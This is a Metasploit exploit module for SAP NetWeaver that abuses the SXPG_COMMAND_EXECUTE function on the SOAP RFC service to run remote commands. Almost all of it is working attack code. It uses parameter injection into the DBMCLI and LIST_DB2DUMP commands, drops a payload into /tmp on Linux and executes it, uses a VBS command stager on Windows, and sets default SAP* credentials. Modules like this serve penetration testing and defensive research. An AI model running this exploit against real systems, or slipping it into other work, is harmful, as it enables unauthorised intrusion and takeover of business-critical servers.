SAP SOAP RFC SXPG_COMMAND_EXECUTE Remote Command Execution

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

##
# This module is based on, inspired by, or is a port of a plugin available in
# the Onapsis Bizploit Opensource ERP Penetration Testing framework -
# http://www.onapsis.com/research-free-solutions.php.
# Mariano Nunez (the author of the Bizploit framework) helped me in my efforts
# in producing the Metasploit modules and was happy to share his knowledge and
# experience - a very cool guy.
#
# The following guys from ERP-SCAN deserve credit for their contributions -
# Alexandr Polyakov, Alexey Sintsov, Alexey Tyurin, Dmitry Chastukhin and
# Dmitry Evdokimov.
#
# I'd also like to thank Chris John Riley, Ian de Villiers and Joris van de Vis
# who have Beta tested the modules and provided excellent feedback. Some people
# just seem to enjoy hacking SAP :)
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GreatRanking

  include Msf::Exploit::CmdStager
  include Msf::Exploit::EXE
  include Msf::Exploit::Remote::HttpClient

  def initialize
    super(
      'Name' => 'SAP SOAP RFC SXPG_COMMAND_EXECUTE Remote Command Execution',
      'Description' => %q{
          This module abuses the SAP NetWeaver SXPG_COMMAND_EXECUTE function, on the SAP
        SOAP RFC Service, to execute remote commands. This module needs SAP credentials with
        privileges to use the /sap/bc/soap/rfc in order to work. The module has been tested
        successfully on Windows 2008 64-bit and Linux 64-bit platforms.
      },
      'References' =>
        [
          [ 'URL', 'http://labs.mwrinfosecurity.com/blog/2012/09/03/sap-parameter-injection' ],
          [ 'URL', 'https://service.sap.com/sap/support/notes/1764994' ],
          [ 'URL', 'https://service.sap.com/sap/support/notes/1341333' ]
        ],
      'DisclosureDate' => 'May 8 2012',
      'Platform'       => %w{ unix win },
      'Targets' => [
        [ 'Linux',
          {
            'Arch'     => ARCH_CMD,
            'Platform' => 'unix'
            #'Payload'  =>
              #{
                #'DisableNops' => true,
                #'Space'       => 232,
                #'Compat'      =>
                  #{
                    #'PayloadType' => 'cmd',
                    #'RequiredCmd' => 'perl ruby',
                  #}
              #}
          }
        ],
        [ 'Windows x64',
          {
            'Arch' => ARCH_X64,
            'Platform' => 'win',
            'CmdStagerFlavor' => 'vbs'
          }
        ]
      ],
      'DefaultTarget' => 0,
      'Privileged' => false,
      'Author' =>
        [
          'nmonkee'
        ],
      'License' => MSF_LICENSE
    )
    register_options(
      [
        Opt::RPORT(8000),
        OptString.new('CLIENT', [true, 'SAP Client', '001']),
        OptString.new('HttpUsername', [true, 'Username', 'SAP*']),
        OptString.new('HttpPassword', [true, 'Password', '06071992'])
      ])
    register_advanced_options(
      [
        OptInt.new('PAYLOAD_SPLIT', [true, 'Size of payload segments (Windows Target)', 250]),
      ])
  end

  def send_soap_request(data)
    res = send_request_cgi({
      'uri' => '/sap/bc/soap/rfc',
      'method' => 'POST',
      'data' => data,
      'authorization' => basic_auth(datastore['HttpUsername'], datastore['HttpPassword']),
      'cookie' => 'sap-usercontext=sap-language=EN&sap-client=' + datastore['CLIENT'],
      'ctype' => 'text/xml; charset=UTF-8',
      'headers' => {
        'SOAPAction' => 'urn:sap-com:document:sap:rfc:functions',
      },
      'vars_get' => {
        'sap-client' => datastore['CLIENT'],
        'sap-language' => 'EN'
      }
    })
    return res
  end

  def build_soap_request(command, sap_command, sap_os)
    data = "<?xml version=\"1.0\" encoding=\"utf-8\" ?>\r\n"
    data << "<env:Envelope xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\" xmlns:env=\"http://schemas.xmlsoap.org/soap/envelope/\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\">\r\n"
    data << "<env:Body>\r\n"
    data << "<n1:SXPG_COMMAND_EXECUTE xmlns:n1=\"urn:sap-com:document:sap:rfc:functions\" env:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">\r\n"
    data << "<ADDITIONAL_PARAMETERS>#{command}</ADDITIONAL_PARAMETERS>\r\n"
    data << "<COMMANDNAME>#{sap_command}</COMMANDNAME>\r\n"
    data << "<OPERATINGSYSTEM>#{sap_os}</OPERATINGSYSTEM>\r\n"
    data << "<EXEC_PROTOCOL><item></item></EXEC_PROTOCOL>\r\n"
    data << "</n1:SXPG_COMMAND_EXECUTE>\r\n"
    data << "</env:Body>\r\n"
    data << "</env:Envelope>"

    return data
  end

  def check
    data = rand_text_alphanumeric(4 + rand(4))
    res = send_soap_request(data)
    if res and res.code == 500 and res.body =~ /faultstring/
      return Exploit::CheckCode::Detected
    end
    return Exploit::CheckCode::Safe
  end

  def exploit
    if target.name =~ /Windows/
      linemax = datastore['PAYLOAD_SPLIT']
      vprint_status("#{rhost}:#{rport} - Using custom payload size of #{linemax}") if linemax != 250
      print_status("#{rhost}:#{rport} - Sending SOAP SXPG_COMMAND_EXECUTE request")
      execute_cmdstager({ :delay => 0.35, :linemax => linemax })
    elsif target.name =~ /Linux/
      file = rand_text_alphanumeric(5)
      stage_one = create_unix_payload(1,file)
      print_status("#{rhost}:#{rport} - Dumping the payload to /tmp/#{file}...")
      res = send_soap_request(stage_one)
      if res and res.code == 200 and res.body =~ /External program terminated/
        print_good("#{rhost}:#{rport} - Payload dump was successful")
      else
        fail_with(Failure::Unknown, "#{rhost}:#{rport} - Payload dump failed")
      end
      stage_two = create_unix_payload(2,file)
      print_status("#{rhost}:#{rport} - Executing /tmp/#{file}...")
      send_soap_request(stage_two)
    end
  end

  def create_unix_payload(stage, file)
    command = ""
    if target.name =~ /Linux/
      if stage == 1
        my_payload = payload.encoded.gsub(" ","\t")
        my_payload.gsub!("&","&amp;")
        my_payload.gsub!("<","&lt;")
        command = "-o /tmp/" + file + " -n pwnie" + "\n!"
        command << my_payload
        command << "\n"
      elsif stage == 2
        command = "-ic /tmp/" + file
      end

    end

    return build_soap_request(command.to_s, "DBMCLI", "ANYOS")
  end

  def execute_command(cmd, opts)
    command = cmd.gsub(/&/, "&amp;")
    command.gsub!(/%TEMP%\\/, "")
    data = build_soap_request("&amp;#{command}", "LIST_DB2DUMP", "Windows NT")
    begin
      res = send_soap_request(data)
      if res and res.code == 200
        return
      else
        if res and res.body =~ /faultstring/
          error = res.body.scan(%r{<faultstring>(.*?)</faultstring>})
          0.upto(error.length-1) do |i|
            vprint_error("#{rhost}:#{rport} - Error #{error[i]}")
          end
        end
        print_status("#{res.code}\n#{res.body}")
        fail_with(Failure::Unknown, "#{rhost}:#{rport} - Error injecting command")
      end
    rescue ::Rex::ConnectionError
      fail_with(Failure::Unreachable, "#{rhost}:#{rport} - Unable to connect")
    end
  end
end